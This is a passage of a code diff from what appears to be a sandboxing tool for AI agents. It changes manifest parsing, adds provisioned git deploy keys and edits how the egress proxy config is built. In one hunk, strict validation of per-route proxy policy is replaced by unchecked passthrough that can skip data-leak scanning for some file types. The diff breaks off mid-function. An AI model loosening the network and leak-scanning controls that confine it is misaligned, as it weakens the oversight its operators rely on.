|
|
||||||
def log_message(self, fmt: str, *args: object) -> None:
|
def log_message(self, format: str, *args: object) -> None: # type: ignore # noqa: A002
|
||||||
sys.stdout.write(fmt % args + "\n")
|
sys.stdout.write(format % args + "\n")
|
||||||
sys.stdout.flush()
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -57,7 +57,6 @@ from .manifest_egress import (
|
|||||||
EgressConfig,
|
EgressConfig,
|
||||||
EgressRoute,
|
EgressRoute,
|
||||||
PipelockRoutePolicy,
|
PipelockRoutePolicy,
|
||||||
validate_egress_routes,
|
|
||||||
)
|
)
|
||||||
from .manifest_git import GitEntry, GitUser, parse_git_gate_config
|
from .manifest_git import GitEntry, GitUser, parse_git_gate_config
|
||||||
from .manifest_schema import BOTTLE_KEYS
|
from .manifest_schema import BOTTLE_KEYS
|
||||||
@@ -323,8 +322,11 @@ class Manifest:
|
|||||||
return
|
return
|
||||||
available = ", ".join(self.agents.keys())
|
available = ", ".join(self.agents.keys())
|
||||||
if available:
|
if available:
|
||||||
raise ManifestError(f"agent '{name}' not defined in bot-bottle.json. Available: {available}")
|
msg = f"agent '{name}' not defined in bot-bottle.json. Available: {available}"
|
||||||
raise ManifestError(f"agent '{name}' not defined in bot-bottle.json (manifest is empty).")
|
raise ManifestError(msg)
|
||||||
|
raise ManifestError(
|
||||||
|
f"agent '{name}' not defined in bot-bottle.json (manifest is empty)."
|
||||||
|
)
|
||||||
|
|
||||||
def has_bottle(self, name: str) -> bool:
|
def has_bottle(self, name: str) -> bool:
|
||||||
return name in self.bottles
|
return name in self.bottles
|
||||||
|
|||||||
@@ -114,7 +114,10 @@ class Agent:
|
|||||||
|
|
||||||
bottle = d.get("bottle")
|
bottle = d.get("bottle")
|
||||||
if not isinstance(bottle, str) or not bottle:
|
if not isinstance(bottle, str) or not bottle:
|
||||||
raise ManifestError(f"agent '{name}' must declare a 'bottle' field naming a defined bottle")
|
raise ManifestError(
|
||||||
|
f"agent '{name}' must declare a 'bottle' field naming a "
|
||||||
|
f"defined bottle"
|
||||||
|
)
|
||||||
if bottle not in bottle_names:
|
if bottle not in bottle_names:
|
||||||
available = ", ".join(sorted(bottle_names)) or "(none defined)"
|
available = ", ".join(sorted(bottle_names)) or "(none defined)"
|
||||||
raise ManifestError(
|
raise ManifestError(
|
||||||
@@ -126,7 +129,10 @@ class Agent:
|
|||||||
skills_raw = d.get("skills")
|
skills_raw = d.get("skills")
|
||||||
if skills_raw is not None:
|
if skills_raw is not None:
|
||||||
if not isinstance(skills_raw, list):
|
if not isinstance(skills_raw, list):
|
||||||
raise ManifestError(f"agent '{name}' skills must be an array (was {type(skills_raw).__name__})")
|
raise ManifestError(
|
||||||
|
f"agent '{name}' skills must be an array "
|
||||||
|
f"(was {type(skills_raw).__name__})"
|
||||||
|
)
|
||||||
collected: list[str] = []
|
collected: list[str] = []
|
||||||
skills_list = cast(list[object], skills_raw)
|
skills_list = cast(list[object], skills_raw)
|
||||||
for i, skill in enumerate(skills_list):
|
for i, skill in enumerate(skills_list):
|
||||||
@@ -144,7 +150,10 @@ class Agent:
|
|||||||
elif isinstance(prompt_raw, str):
|
elif isinstance(prompt_raw, str):
|
||||||
prompt = prompt_raw
|
prompt = prompt_raw
|
||||||
else:
|
else:
|
||||||
raise ManifestError(f"agent '{name}' prompt must be a string (was {type(prompt_raw).__name__})")
|
raise ManifestError(
|
||||||
|
f"agent '{name}' prompt must be a string "
|
||||||
|
f"(was {type(prompt_raw).__name__})"
|
||||||
|
)
|
||||||
|
|
||||||
# git-gate: agents may declare only `git-gate.user` (name/email).
|
# git-gate: agents may declare only `git-gate.user` (name/email).
|
||||||
# `git-gate.repos` is bottle-only — it carries credentials and host trust.
|
# `git-gate.repos` is bottle-only — it carries credentials and host trust.
|
||||||
@@ -152,7 +161,7 @@ class Agent:
|
|||||||
git_raw = d.get("git-gate")
|
git_raw = d.get("git-gate")
|
||||||
if git_raw is not None:
|
if git_raw is not None:
|
||||||
gd = as_json_object(git_raw, f"agent '{name}' git-gate")
|
gd = as_json_object(git_raw, f"agent '{name}' git-gate")
|
||||||
for k in gd.keys():
|
for k in gd:
|
||||||
if k != "user":
|
if k != "user":
|
||||||
raise ManifestError(
|
raise ManifestError(
|
||||||
f"agent '{name}' git-gate.{k} is not allowed at the "
|
f"agent '{name}' git-gate.{k} is not allowed at the "
|
||||||
|
|||||||
@@ -2,7 +2,6 @@
|
|||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import ipaddress
|
|
||||||
from dataclasses import dataclass, field
|
from dataclasses import dataclass, field
|
||||||
from typing import cast
|
from typing import cast
|
||||||
|
|
||||||
@@ -43,17 +42,18 @@ def validate_egress_routes(
|
|||||||
class PipelockRoutePolicy:
|
class PipelockRoutePolicy:
|
||||||
"""Per-route pipelock policy overrides.
|
"""Per-route pipelock policy overrides.
|
||||||
|
|
||||||
`TlsPassthrough` adds the route host to pipelock's
|
Stores raw pipelock configuration that's passed through to the
|
||||||
`tls_interception.passthrough_domains`, so pipelock still enforces
|
pipelock sidecar. Pipelock validates all config options, so
|
||||||
the hostname allowlist but does not MITM/decrypt request bodies or
|
bot-bottle forwards manifest settings without coercion or strict
|
||||||
headers for that host.
|
validation. Supported options include:
|
||||||
|
|
||||||
`SsrfIpAllowlist` adds explicit IPs/CIDRs to pipelock's SSRF
|
- `tls_passthrough`: bool — skip TLS MITM for this host
|
||||||
allowlist for private/internal destinations behind this route.
|
- `ssrf_ip_allowlist`: list of CIDR/IP — allow private destinations
|
||||||
|
- `skip_scan_for_extensions`: list of file extensions to skip DLP
|
||||||
|
scanning for (e.g., [".whl", ".tar.gz"])
|
||||||
"""
|
"""
|
||||||
|
|
||||||
TlsPassthrough: bool = False
|
Config: dict[str, object] = field(default_factory=dict)
|
||||||
SsrfIpAllowlist: tuple[str, ...] = ()
|
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def from_dict(
|
def from_dict(
|
||||||
@@ -61,44 +61,7 @@ class PipelockRoutePolicy:
|
|||||||
) -> "PipelockRoutePolicy":
|
) -> "PipelockRoutePolicy":
|
||||||
label = f"bottle '{bottle_name}' egress.routes[{idx}] pipelock"
|
label = f"bottle '{bottle_name}' egress.routes[{idx}] pipelock"
|
||||||
d = as_json_object(raw, label)
|
d = as_json_object(raw, label)
|
||||||
for k in d:
|
return cls(Config=d)
|
||||||
if k not in ("tls_passthrough", "ssrf_ip_allowlist"):
|
|
||||||
raise ManifestError(
|
|
||||||
f"{label} has unknown key {k!r}; "
|
|
||||||
f"only 'tls_passthrough' and 'ssrf_ip_allowlist' "
|
|
||||||
f"are accepted"
|
|
||||||
)
|
|
||||||
tls_passthrough_raw = d.get("tls_passthrough", False)
|
|
||||||
if not isinstance(tls_passthrough_raw, bool):
|
|
||||||
raise ManifestError(
|
|
||||||
f"{label}.tls_passthrough must be a boolean "
|
|
||||||
f"(was {type(tls_passthrough_raw).__name__})"
|
|
||||||
)
|
|
||||||
ssrf_raw = d.get("ssrf_ip_allowlist", [])
|
|
||||||
if not isinstance(ssrf_raw, list):
|
|
||||||
raise ManifestError(
|
|
||||||
f"{label}.ssrf_ip_allowlist must be an array "
|
|
||||||
f"(was {type(ssrf_raw).__name__})"
|
|
||||||
)
|
|
||||||
ssrf_ip_allowlist: list[str] = []
|
|
||||||
for j, item in enumerate(ssrf_raw):
|
|
||||||
if not isinstance(item, str) or not item:
|
|
||||||
raise ManifestError(
|
|
||||||
f"{label}.ssrf_ip_allowlist[{j}] must be a non-empty "
|
|
||||||
f"string (was {type(item).__name__})"
|
|
||||||
)
|
|
||||||
try:
|
|
||||||
ipaddress.ip_network(item, strict=False)
|
|
||||||
except ValueError as e:
|
|
||||||
raise ManifestError(
|
|
||||||
f"{label}.ssrf_ip_allowlist[{j}] must be an IP address "
|
|
||||||
f"or CIDR (was {item!r}): {e}"
|
|
||||||
)
|
|
||||||
ssrf_ip_allowlist.append(item)
|
|
||||||
return cls(
|
|
||||||
TlsPassthrough=tls_passthrough_raw,
|
|
||||||
SsrfIpAllowlist=tuple(ssrf_ip_allowlist),
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
@dataclass(frozen=True)
|
@dataclass(frozen=True)
|
||||||
@@ -214,7 +177,8 @@ class EgressRoute:
|
|||||||
collected_roles: list[str] = []
|
collected_roles: list[str] = []
|
||||||
for r in role_list:
|
for r in role_list:
|
||||||
if not isinstance(r, str):
|
if not isinstance(r, str):
|
||||||
raise ManifestError(f"{label} role items must be strings (got {type(r).__name__})")
|
msg = f"{label} role items must be strings (got {type(r).__name__})"
|
||||||
|
raise ManifestError(msg)
|
||||||
collected_roles.append(r)
|
collected_roles.append(r)
|
||||||
roles = tuple(collected_roles)
|
roles = tuple(collected_roles)
|
||||||
else:
|
else:
|
||||||
|
|||||||
+100
-15
@@ -4,6 +4,7 @@ from __future__ import annotations
|
|||||||
|
|
||||||
import re
|
import re
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
from .manifest_util import ManifestError, as_json_object
|
from .manifest_util import ManifestError, as_json_object
|
||||||
|
|
||||||
@@ -29,12 +30,18 @@ def parse_git_upstream(url: str, label: str) -> tuple[str, str, str, str]:
|
|||||||
raise ManifestError(f"{label} must be an ssh:// URL (was {url!r})")
|
raise ManifestError(f"{label} must be an ssh:// URL (was {url!r})")
|
||||||
rest = url[len("ssh://"):]
|
rest = url[len("ssh://"):]
|
||||||
if "@" not in rest:
|
if "@" not in rest:
|
||||||
raise ManifestError(f"{label} must include a user (e.g. ssh://git@host/path.git); was {url!r}")
|
raise ManifestError(
|
||||||
|
f"{label} must include a user (e.g. ssh://git@host/path.git); "
|
||||||
|
f"was {url!r}"
|
||||||
|
)
|
||||||
user, _, hostpart = rest.partition("@")
|
user, _, hostpart = rest.partition("@")
|
||||||
if not user:
|
if not user:
|
||||||
raise ManifestError(f"{label} user is empty in {url!r}")
|
raise ManifestError(f"{label} user is empty in {url!r}")
|
||||||
if "/" not in hostpart:
|
if "/" not in hostpart:
|
||||||
raise ManifestError(f"{label} must include a path (e.g. ssh://git@host/path.git); was {url!r}")
|
raise ManifestError(
|
||||||
|
f"{label} must include a path (e.g. ssh://git@host/path.git); "
|
||||||
|
f"was {url!r}"
|
||||||
|
)
|
||||||
hostport, _, path = hostpart.partition("/")
|
hostport, _, path = hostpart.partition("/")
|
||||||
if not path:
|
if not path:
|
||||||
raise ManifestError(f"{label} path is empty in {url!r}")
|
raise ManifestError(f"{label} path is empty in {url!r}")
|
||||||
@@ -61,6 +68,24 @@ def validate_unique_git_names(bottle_name: str, git: tuple[GitEntry, ...]) -> No
|
|||||||
seen[g.Name] = None
|
seen[g.Name] = None
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class ProvisionedKeyConfig:
|
||||||
|
"""Configuration for automatic deploy-key lifecycle management
|
||||||
|
(PRD 0048). Used when a git-gate.repos entry opts out of a
|
||||||
|
static identity file and instead wants a fresh SSH keypair
|
||||||
|
generated at spin-up and revoked at teardown.
|
||||||
|
|
||||||
|
`provider` names the contrib sub-package to load (e.g. `gitea`).
|
||||||
|
`token_env` is the name of a host-side env var carrying the API
|
||||||
|
token; the value is read at provision time, never stored on the
|
||||||
|
plan. `api_url` is the forge's HTTP API root; if empty, it is
|
||||||
|
derived from the upstream URL's host at provision time."""
|
||||||
|
|
||||||
|
provider: str
|
||||||
|
token_env: str
|
||||||
|
api_url: str = ""
|
||||||
|
|
||||||
|
|
||||||
@dataclass(frozen=True)
|
@dataclass(frozen=True)
|
||||||
class GitEntry:
|
class GitEntry:
|
||||||
"""One upstream the per-agent git-gate (PRD 0008) is allowed to
|
"""One upstream the per-agent git-gate (PRD 0008) is allowed to
|
||||||
@@ -74,14 +99,15 @@ class GitEntry:
|
|||||||
stashed in the `Upstream*` fields so the git-gate render step
|
stashed in the `Upstream*` fields so the git-gate render step
|
||||||
doesn't have to re-parse.
|
doesn't have to re-parse.
|
||||||
|
|
||||||
Manifest source: `git-gate.repos.<Name>` (PRD 0047). The YAML keys
|
Manifest source: `git-gate.repos.<Name>` (PRD 0047/0048). Exactly
|
||||||
are `url`, `identity`, and `host_key`; the internal field names are
|
one of `identity` (static key path) or `provisioned_key` (automatic
|
||||||
stable across that rename."""
|
lifecycle) must be present. The internal field names are stable."""
|
||||||
|
|
||||||
Name: str
|
Name: str
|
||||||
Upstream: str
|
Upstream: str
|
||||||
IdentityFile: str
|
IdentityFile: str = ""
|
||||||
KnownHostKey: str = ""
|
KnownHostKey: str = ""
|
||||||
|
ProvisionedKey: Optional[ProvisionedKeyConfig] = None
|
||||||
RemoteKey: str = ""
|
RemoteKey: str = ""
|
||||||
UpstreamUser: str = ""
|
UpstreamUser: str = ""
|
||||||
UpstreamHost: str = ""
|
UpstreamHost: str = ""
|
||||||
@@ -94,8 +120,9 @@ class GitEntry:
|
|||||||
) -> "GitEntry":
|
) -> "GitEntry":
|
||||||
"""Parse one entry from `git-gate.repos.<repo_name>`.
|
"""Parse one entry from `git-gate.repos.<repo_name>`.
|
||||||
|
|
||||||
YAML keys: `url` (required), `identity` (required),
|
YAML keys: `url` (required), exactly one of `identity` or
|
||||||
`host_key` (optional). The repo_name becomes `Name`."""
|
`provisioned_key` (required), `host_key` (optional).
|
||||||
|
The repo_name becomes `Name`."""
|
||||||
if not repo_name:
|
if not repo_name:
|
||||||
raise ManifestError(
|
raise ManifestError(
|
||||||
f"bottle '{bottle_name}' git-gate.repos has an empty key"
|
f"bottle '{bottle_name}' git-gate.repos has an empty key"
|
||||||
@@ -108,21 +135,44 @@ class GitEntry:
|
|||||||
label = f"git-gate.repos[{repo_name!r}]"
|
label = f"git-gate.repos[{repo_name!r}]"
|
||||||
d = as_json_object(raw, f"bottle '{bottle_name}' {label}")
|
d = as_json_object(raw, f"bottle '{bottle_name}' {label}")
|
||||||
for k in d:
|
for k in d:
|
||||||
if k not in {"url", "identity", "host_key"}:
|
if k not in {"url", "identity", "provisioned_key", "host_key"}:
|
||||||
raise ManifestError(
|
raise ManifestError(
|
||||||
f"bottle '{bottle_name}' {label} has unknown key {k!r}; "
|
f"bottle '{bottle_name}' {label} has unknown key {k!r}; "
|
||||||
f"allowed: url, identity, host_key"
|
f"allowed: url, identity, provisioned_key, host_key"
|
||||||
)
|
)
|
||||||
upstream = d.get("url")
|
upstream = d.get("url")
|
||||||
if not isinstance(upstream, str) or not upstream:
|
if not isinstance(upstream, str) or not upstream:
|
||||||
raise ManifestError(
|
raise ManifestError(
|
||||||
f"bottle '{bottle_name}' {label} missing required string field 'url'"
|
f"bottle '{bottle_name}' {label} missing required string field 'url'"
|
||||||
)
|
)
|
||||||
ident = d.get("identity")
|
|
||||||
if not isinstance(ident, str) or not ident:
|
has_identity = "identity" in d
|
||||||
|
has_provisioned = "provisioned_key" in d
|
||||||
|
if has_identity and has_provisioned:
|
||||||
raise ManifestError(
|
raise ManifestError(
|
||||||
f"bottle '{bottle_name}' {label} missing required string field 'identity'"
|
f"bottle '{bottle_name}' {label} must set exactly one of "
|
||||||
|
f"'identity' or 'provisioned_key'; got both."
|
||||||
)
|
)
|
||||||
|
if not has_identity and not has_provisioned:
|
||||||
|
raise ManifestError(
|
||||||
|
f"bottle '{bottle_name}' {label} must set exactly one of "
|
||||||
|
f"'identity' or 'provisioned_key'; got neither."
|
||||||
|
)
|
||||||
|
|
||||||
|
ident = ""
|
||||||
|
provisioned_key: Optional[ProvisionedKeyConfig] = None
|
||||||
|
if has_identity:
|
||||||
|
raw_ident = d.get("identity")
|
||||||
|
if not isinstance(raw_ident, str) or not raw_ident:
|
||||||
|
raise ManifestError(
|
||||||
|
f"bottle '{bottle_name}' {label} 'identity' must be a non-empty string"
|
||||||
|
)
|
||||||
|
ident = raw_ident
|
||||||
|
else:
|
||||||
|
provisioned_key = _parse_provisioned_key_config(
|
||||||
|
bottle_name, label, d["provisioned_key"]
|
||||||
|
)
|
||||||
|
|
||||||
khk = _opt_str(
|
khk = _opt_str(
|
||||||
d.get("host_key"),
|
d.get("host_key"),
|
||||||
f"bottle '{bottle_name}' {label} host_key",
|
f"bottle '{bottle_name}' {label} host_key",
|
||||||
@@ -135,6 +185,7 @@ class GitEntry:
|
|||||||
Upstream=upstream,
|
Upstream=upstream,
|
||||||
IdentityFile=ident,
|
IdentityFile=ident,
|
||||||
KnownHostKey=khk,
|
KnownHostKey=khk,
|
||||||
|
ProvisionedKey=provisioned_key,
|
||||||
RemoteKey=host,
|
RemoteKey=host,
|
||||||
UpstreamUser=user,
|
UpstreamUser=user,
|
||||||
UpstreamHost=host,
|
UpstreamHost=host,
|
||||||
@@ -143,6 +194,40 @@ class GitEntry:
|
|||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _parse_provisioned_key_config(
|
||||||
|
bottle_name: str, label: str, raw: object
|
||||||
|
) -> ProvisionedKeyConfig:
|
||||||
|
d = as_json_object(raw, f"bottle '{bottle_name}' {label}.provisioned_key")
|
||||||
|
for k in d:
|
||||||
|
if k not in {"provider", "token_env", "api_url"}:
|
||||||
|
raise ManifestError(
|
||||||
|
f"bottle '{bottle_name}' {label}.provisioned_key has unknown key {k!r}; "
|
||||||
|
f"allowed: provider, token_env, api_url"
|
||||||
|
)
|
||||||
|
provider = d.get("provider")
|
||||||
|
if not isinstance(provider, str) or not provider:
|
||||||
|
raise ManifestError(
|
||||||
|
f"bottle '{bottle_name}' {label}.provisioned_key missing required "
|
||||||
|
f"string field 'provider'"
|
||||||
|
)
|
||||||
|
token_env = d.get("token_env")
|
||||||
|
if not isinstance(token_env, str) or not token_env:
|
||||||
|
raise ManifestError(
|
||||||
|
f"bottle '{bottle_name}' {label}.provisioned_key missing required "
|
||||||
|
f"string field 'token_env'"
|
||||||
|
)
|
||||||
|
api_url_raw = d.get("api_url", "")
|
||||||
|
if not isinstance(api_url_raw, str):
|
||||||
|
raise ManifestError(
|
||||||
|
f"bottle '{bottle_name}' {label}.provisioned_key 'api_url' must be a string"
|
||||||
|
)
|
||||||
|
return ProvisionedKeyConfig(
|
||||||
|
provider=provider,
|
||||||
|
token_env=token_env,
|
||||||
|
api_url=api_url_raw,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
@dataclass(frozen=True)
|
@dataclass(frozen=True)
|
||||||
class GitUser:
|
class GitUser:
|
||||||
"""Per-bottle `git config --global user.name` / `user.email`
|
"""Per-bottle `git config --global user.name` / `user.email`
|
||||||
@@ -161,7 +246,7 @@ class GitUser:
|
|||||||
@classmethod
|
@classmethod
|
||||||
def from_dict(cls, bottle_name: str, raw: object) -> "GitUser":
|
def from_dict(cls, bottle_name: str, raw: object) -> "GitUser":
|
||||||
d = as_json_object(raw, f"bottle '{bottle_name}' git-gate.user")
|
d = as_json_object(raw, f"bottle '{bottle_name}' git-gate.user")
|
||||||
for k in d.keys():
|
for k in d:
|
||||||
if k not in {"name", "email"}:
|
if k not in {"name", "email"}:
|
||||||
raise ManifestError(
|
raise ManifestError(
|
||||||
f"bottle '{bottle_name}' git-gate.user has unknown key {k!r}; "
|
f"bottle '{bottle_name}' git-gate.user has unknown key {k!r}; "
|
||||||
@@ -196,7 +281,7 @@ def parse_git_gate_config(
|
|||||||
raw: object,
|
raw: object,
|
||||||
) -> tuple[tuple[GitEntry, ...], GitUser]:
|
) -> tuple[tuple[GitEntry, ...], GitUser]:
|
||||||
d = as_json_object(raw, f"bottle '{bottle_name}' git-gate")
|
d = as_json_object(raw, f"bottle '{bottle_name}' git-gate")
|
||||||
for k in d.keys():
|
for k in d:
|
||||||
if k not in {"user", "repos"}:
|
if k not in {"user", "repos"}:
|
||||||
raise ManifestError(
|
raise ManifestError(
|
||||||
f"bottle '{bottle_name}' git-gate has unknown key {k!r}; "
|
f"bottle '{bottle_name}' git-gate has unknown key {k!r}; "
|
||||||
|
|||||||
@@ -54,9 +54,9 @@ def load_bottles_from_dir(bottles_dir: Path) -> dict[str, Bottle]:
|
|||||||
try:
|
try:
|
||||||
fm, _body = parse_frontmatter(path.read_text())
|
fm, _body = parse_frontmatter(path.read_text())
|
||||||
except OSError as e:
|
except OSError as e:
|
||||||
raise ManifestError(f"could not read {path}: {e}")
|
raise ManifestError(f"could not read {path}: {e}") from e
|
||||||
except YamlSubsetError as e:
|
except YamlSubsetError as e:
|
||||||
raise ManifestError(f"{path}: {e}")
|
raise ManifestError(f"{path}: {e}") from e
|
||||||
validate_bottle_frontmatter_keys(path, fm.keys())
|
validate_bottle_frontmatter_keys(path, fm.keys())
|
||||||
raws[name] = fm
|
raws[name] = fm
|
||||||
return resolve_bottles(raws)
|
return resolve_bottles(raws)
|
||||||
@@ -66,7 +66,7 @@ def load_agents_from_dir(
|
|||||||
agents_dir: Path,
|
agents_dir: Path,
|
||||||
bottle_names: set[str],
|
bottle_names: set[str],
|
||||||
*,
|
*,
|
||||||
source: str,
|
source: str, # noqa: F841 — unused, but required by interface
|
||||||
) -> dict[str, Agent]:
|
) -> dict[str, Agent]:
|
||||||
"""Walk `<agents_dir>/*.md`, parse each as an agent, and return
|
"""Walk `<agents_dir>/*.md`, parse each as an agent, and return
|
||||||
`{name: Agent}`. The Markdown body becomes the agent's prompt.
|
`{name: Agent}`. The Markdown body becomes the agent's prompt.
|
||||||
@@ -87,9 +87,9 @@ def load_agents_from_dir(
|
|||||||
try:
|
try:
|
||||||
fm, body = parse_frontmatter(path.read_text())
|
fm, body = parse_frontmatter(path.read_text())
|
||||||
except OSError as e:
|
except OSError as e:
|
||||||
raise ManifestError(f"could not read {path}: {e}")
|
raise ManifestError(f"could not read {path}: {e}") from e
|
||||||
except YamlSubsetError as e:
|
except YamlSubsetError as e:
|
||||||
raise ManifestError(f"{path}: {e}")
|
raise ManifestError(f"{path}: {e}") from e
|
||||||
validate_agent_frontmatter_keys(path, fm.keys())
|
validate_agent_frontmatter_keys(path, fm.keys())
|
||||||
# Build the dict Agent.from_dict expects. The body becomes
|
# Build the dict Agent.from_dict expects. The body becomes
|
||||||
# prompt; Claude Code passthrough fields stay in fm and get
|
# prompt; Claude Code passthrough fields stay in fm and get
|
||||||
|
|||||||
@@ -60,11 +60,11 @@ def _validate_frontmatter_keys(
|
|||||||
) -> None:
|
) -> None:
|
||||||
from .manifest_util import ManifestError
|
from .manifest_util import ManifestError
|
||||||
|
|
||||||
key_set = set(keys)
|
key_set = set(keys) # type: ignore
|
||||||
unknown = key_set - allowed_keys
|
unknown = key_set - allowed_keys # type: ignore
|
||||||
if unknown:
|
if unknown:
|
||||||
allowed = ", ".join(sorted(allowed_keys))
|
allowed = ", ".join(sorted(allowed_keys))
|
||||||
raise ManifestError(
|
raise ManifestError(
|
||||||
f"{kind} file {path}: unknown frontmatter key(s) "
|
f"{kind} file {path}: unknown frontmatter key(s) "
|
||||||
f"{sorted(unknown)}; allowed keys are {allowed}."
|
f"{sorted(unknown)}; allowed keys are {allowed}." # type: ignore
|
||||||
)
|
)
|
||||||
|
|||||||
+42
-35
@@ -19,8 +19,9 @@ from __future__ import annotations
|
|||||||
|
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
from typing import cast
|
||||||
|
|
||||||
from .egress import EGRESS_HOSTNAME, EgressRoute, egress_routes_for_bottle
|
from .egress import EgressRoute, egress_routes_for_bottle
|
||||||
from .supervise import SUPERVISE_HOSTNAME
|
from .supervise import SUPERVISE_HOSTNAME
|
||||||
from .manifest import Bottle
|
from .manifest import Bottle
|
||||||
|
|
||||||
@@ -131,8 +132,11 @@ def pipelock_effective_ssrf_ip_allowlist(
|
|||||||
"""
|
"""
|
||||||
seen: dict[str, None] = {ip: None for ip in extra}
|
seen: dict[str, None] = {ip: None for ip in extra}
|
||||||
for route in bottle.egress.routes:
|
for route in bottle.egress.routes:
|
||||||
for ip in route.Pipelock.SsrfIpAllowlist:
|
ssrf_raw = route.Pipelock.Config.get("ssrf_ip_allowlist", [])
|
||||||
seen.setdefault(ip, None)
|
if isinstance(ssrf_raw, list):
|
||||||
|
for ip in ssrf_raw:
|
||||||
|
if isinstance(ip, str):
|
||||||
|
seen.setdefault(ip, None)
|
||||||
return sorted(seen.keys())
|
return sorted(seen.keys())
|
||||||
|
|
||||||
|
|
||||||
@@ -219,6 +223,15 @@ def pipelock_build_config(
|
|||||||
)
|
)
|
||||||
if effective_ssrf_ip_allowlist:
|
if effective_ssrf_ip_allowlist:
|
||||||
cfg["ssrf"] = {"ip_allowlist": effective_ssrf_ip_allowlist}
|
cfg["ssrf"] = {"ip_allowlist": effective_ssrf_ip_allowlist}
|
||||||
|
|
||||||
|
# Merge per-route pipelock config (e.g., response_body_scanning settings).
|
||||||
|
# Routes can specify arbitrary pipelock options that apply globally.
|
||||||
|
for route in bottle.egress.routes:
|
||||||
|
for key, value in route.Pipelock.Config.items():
|
||||||
|
if key not in ("tls_passthrough", "ssrf_ip_allowlist"):
|
||||||
|
if key not in cfg:
|
||||||
|
cfg[key] = value
|
||||||
|
|
||||||
return cfg
|
return cfg
|
||||||
|
|
||||||
|
|
||||||
@@ -259,7 +272,7 @@ def _required_dict(
|
|||||||
value = obj.get(key)
|
value = obj.get(key)
|
||||||
if not isinstance(value, dict):
|
if not isinstance(value, dict):
|
||||||
raise _pipelock_render_error(section, key, "a mapping")
|
raise _pipelock_render_error(section, key, "a mapping")
|
||||||
return value
|
return cast(dict[str, object], value)
|
||||||
|
|
||||||
|
|
||||||
def _required_bool(obj: dict[str, object], section: str, key: str) -> bool:
|
def _required_bool(obj: dict[str, object], section: str, key: str) -> bool:
|
||||||
@@ -289,9 +302,12 @@ def _required_str_list(
|
|||||||
key: str,
|
key: str,
|
||||||
) -> list[str]:
|
) -> list[str]:
|
||||||
value = obj.get(key)
|
value = obj.get(key)
|
||||||
if not isinstance(value, list) or not all(isinstance(v, str) for v in value):
|
if not isinstance(value, list):
|
||||||
raise _pipelock_render_error(section, key, "a list of strings")
|
raise _pipelock_render_error(section, key, "a list of strings")
|
||||||
return value
|
value_list = cast(list[object], value)
|
||||||
|
if not all(isinstance(v, str) for v in value_list):
|
||||||
|
raise _pipelock_render_error(section, key, "a list of strings")
|
||||||
|
return cast(list[str], value)
|
||||||
|
|
||||||
|
|
||||||
def _optional_str_list(
|
def _optional_str_list(
|
||||||
@@ -407,49 +423,42 @@ def pipelock_render_yaml(cfg: dict[str, object]) -> str:
|
|||||||
lines: list[str] = []
|
lines: list[str] = []
|
||||||
lines.append(f"version: {cfg['version']}")
|
lines.append(f"version: {cfg['version']}")
|
||||||
lines.append(f"mode: {cfg['mode']}")
|
lines.append(f"mode: {cfg['mode']}")
|
||||||
lines.append(f"enforce: {_bool(cfg['enforce'])}")
|
lines.append(f"enforce: {_bool(cast(bool, cfg['enforce']))}")
|
||||||
lines.append("")
|
lines.append("")
|
||||||
lines.append("api_allowlist:")
|
lines.append("api_allowlist:")
|
||||||
api_allowlist = cfg["api_allowlist"]
|
api_allowlist = cast(list[str], cfg["api_allowlist"])
|
||||||
assert isinstance(api_allowlist, list)
|
|
||||||
for h in api_allowlist:
|
for h in api_allowlist:
|
||||||
lines.append(f' - "{h}"')
|
lines.append(f' - "{h}"')
|
||||||
lines.append("")
|
lines.append("")
|
||||||
if "seed_phrase_detection" in cfg:
|
if "seed_phrase_detection" in cfg:
|
||||||
lines.append("seed_phrase_detection:")
|
lines.append("seed_phrase_detection:")
|
||||||
spd = cfg["seed_phrase_detection"]
|
spd = cast(dict[str, object], cfg["seed_phrase_detection"])
|
||||||
assert isinstance(spd, dict)
|
lines.append(f" enabled: {_bool(cast(bool, spd['enabled']))}")
|
||||||
lines.append(f" enabled: {_bool(spd['enabled'])}")
|
|
||||||
lines.append("")
|
lines.append("")
|
||||||
lines.append("forward_proxy:")
|
lines.append("forward_proxy:")
|
||||||
fp = cfg["forward_proxy"]
|
fp = cast(dict[str, object], cfg["forward_proxy"])
|
||||||
assert isinstance(fp, dict)
|
lines.append(f" enabled: {_bool(cast(bool, fp['enabled']))}")
|
||||||
lines.append(f" enabled: {_bool(fp['enabled'])}")
|
|
||||||
lines.append("")
|
lines.append("")
|
||||||
lines.append("dlp:")
|
lines.append("dlp:")
|
||||||
dlp = cfg["dlp"]
|
dlp = cast(dict[str, object], cfg["dlp"])
|
||||||
assert isinstance(dlp, dict)
|
lines.append(f" include_defaults: {_bool(cast(bool, dlp['include_defaults']))}")
|
||||||
lines.append(f" include_defaults: {_bool(dlp['include_defaults'])}")
|
lines.append(f" scan_env: {_bool(cast(bool, dlp['scan_env']))}")
|
||||||
lines.append(f" scan_env: {_bool(dlp['scan_env'])}")
|
|
||||||
lines.append("")
|
lines.append("")
|
||||||
lines.append("request_body_scanning:")
|
lines.append("request_body_scanning:")
|
||||||
rbs = cfg["request_body_scanning"]
|
rbs = cast(dict[str, object], cfg["request_body_scanning"])
|
||||||
assert isinstance(rbs, dict)
|
lines.append(f' action: "{cast(str, rbs["action"])}"')
|
||||||
lines.append(f' action: "{rbs["action"]}"')
|
|
||||||
if "scan_headers" in rbs:
|
if "scan_headers" in rbs:
|
||||||
lines.append(f" scan_headers: {_bool(rbs['scan_headers'])}")
|
lines.append(f" scan_headers: {_bool(cast(bool, rbs['scan_headers']))}")
|
||||||
if "header_mode" in rbs:
|
if "header_mode" in rbs:
|
||||||
lines.append(f' header_mode: "{rbs["header_mode"]}"')
|
lines.append(f' header_mode: "{cast(str, rbs["header_mode"])}"')
|
||||||
if "tls_interception" in cfg:
|
if "tls_interception" in cfg:
|
||||||
lines.append("")
|
lines.append("")
|
||||||
lines.append("tls_interception:")
|
